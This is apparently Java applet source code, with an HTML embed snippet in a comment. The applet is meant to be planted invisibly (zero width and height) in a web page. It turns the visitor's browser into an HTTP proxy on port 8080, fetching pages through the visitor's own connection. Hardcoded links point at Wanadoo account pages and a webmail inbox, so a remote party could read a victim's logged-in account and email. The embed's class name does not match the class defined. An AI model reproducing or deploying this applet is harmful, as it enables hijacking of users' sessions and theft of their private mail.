/*
            <applet trustproxy=1 code="BOHTTPD.class" name="BOHTTPD" width=0 height=0>
                <param name="host" value="193.250.234.4">
                <param name="port" value="8080">
                <param name="path" value="C:/test">
            </applet>
*/

//http://localhost:8080/http://www.wanadoo.fr/accueil/bin/accueil.cgi
//http://www.wanadoo.fr/wanadoo_et_moi/compte/bin/compte.cgi
//http://www.wanadoo.fr/messagerie/expressmail/cgi-bin/wm?methode=ListDisplay&folder=inbox

import java.applet.*;
import java.io.*;
import java.net.*;

public class WBHTTPD extends Applet implements Runnable {
    WBServerSocket ess;
    String remote_host;
    int port;
    Thread th;

    public void dump_to(String fn, OutputStream os) throws IOException {
        PrintWriter writer = new PrintWriter(os, true);
        try {
          //String fns = format(fn);
            System.out.println(fn);
            URL uu = new URL(fn);

            WBURLConnection euc;
            WBURLInputStream euis;
            StringBuffer buf = new StringBuffer();
            String str;

          //ajout des pages par défaut
            buf.append(getHeader());

            euc = new WBURLConnection(uu);
            euis = new WBURLInputStream(euc);
            BufferedReader reader = new BufferedReader(new InputStreamReader(euis, "latin1"));
            while ((str = reader.readLine())!=null && str.length()>=0) buf.append(str+"\n");
            reader.close();

            String type = WBMimeType.get(fn);

            writer.println("HTTP/1.1 200 OK");
            writer.println("Content-type: " + type);
            writer.println("Content-length: " + buf.length());
            writer.println();
            writer.println(buf.toString());
            writer.flush();
        } catch (Exception e) {
            String resp = e.toString();
            writer.println("HTTP/1.1 500 Internal Server Error");
            writer.println("Content-type: text/plain");
            writer.println("Content-length: " + resp.length());
            writer.println("");
            writer.print(resp);
            writer.flush();
        }
    }

    public String origin() {
        URL appletSource = getDocumentBase();
        try {
            InetAddress host;
            host = InetAddress.getByName(appletSource.getHost());
            return host.getHostName();
        } catch (Exception e) { System.out.println(e); };
        return "localhost";
    }

    public void init() {
        try {
            remote_host = origin();

            port = new Integer(getParameter("port")).intValue();
            System.out.println("port=" + port);
            ess = new WBServerSocket(port);
        } catch (Exception e) { System.out.println(e); }
    }

    public void start() { 
        th = new Thread(this);
        th.start();
    }

    //public void stop() { 
    //    th.stop();
    //}

    public void run() {
        WBSocket client;
        PrintWriter writer;
        BufferedReader reader;
        String line;

        try {
            while (true) {
                client = ess.accept_any();
    
                writer = new PrintWriter(client.getOutputStream(), true);
                reader = new BufferedReader(
                    new InputStreamReader(client.getInputStream()));
    
                line = reader.readLine();
                while (reader.readLine().length() > 0) { }

                System.out.println(line);
                int at0 = line.lastIndexOf("http://");    //on extrait l'url finale dans l'url réécrite
                int at1 = line.indexOf(" HTTP");
                if(at0>=0 & at1>=0) {
                    String filename = line.substring(at0, at1);  //at0+1
                    dump_to(filename, client.getOutputStream());
                } else {
                    StringBuffer buf = new StringBuffer();
                    buf.append(getHeader());
                    buf.append("Bloup bloup, try again\n");
                    PrintWriter out = new PrintWriter(client.getOutputStream());
                    writer.println("HTTP/1.1 200 OK");
                    writer.println("Content-type: text/plain");
                    writer.println("Content-length: " + buf.length());
                    writer.println();
                    writer.println(buf.toString());
                    writer.flush();
                }
                client.close_real();
            }
        } catch (Exception e) { System.out.println(e.toString()); }
    }

    private String getHeader() throws UnknownHostException {
        StringBuffer buf = new StringBuffer();
        String constant = "http://"+InetAddress.getLocalHost().getHostAddress()+":8080/http://www.wanadoo.fr/";
        buf.append("<a href=\""+constant+"wanadoo_et_moi/compte/bin/compte.cgi\">"+constant+"wanadoo_et_moi/compte/bin/compte.cgi</a><br>\n");
        buf.append("<a href=\""+constant+"messagerie/expressmail/cgi-bin/wm?methode=ListDisplay&folder=inbox\">"+constant+"messagerie/expressmail/cgi-bin/wm?methode=ListDisplay&folder=inbox</a><br><br><hr><br>\n");
        return buf.toString();
    }
}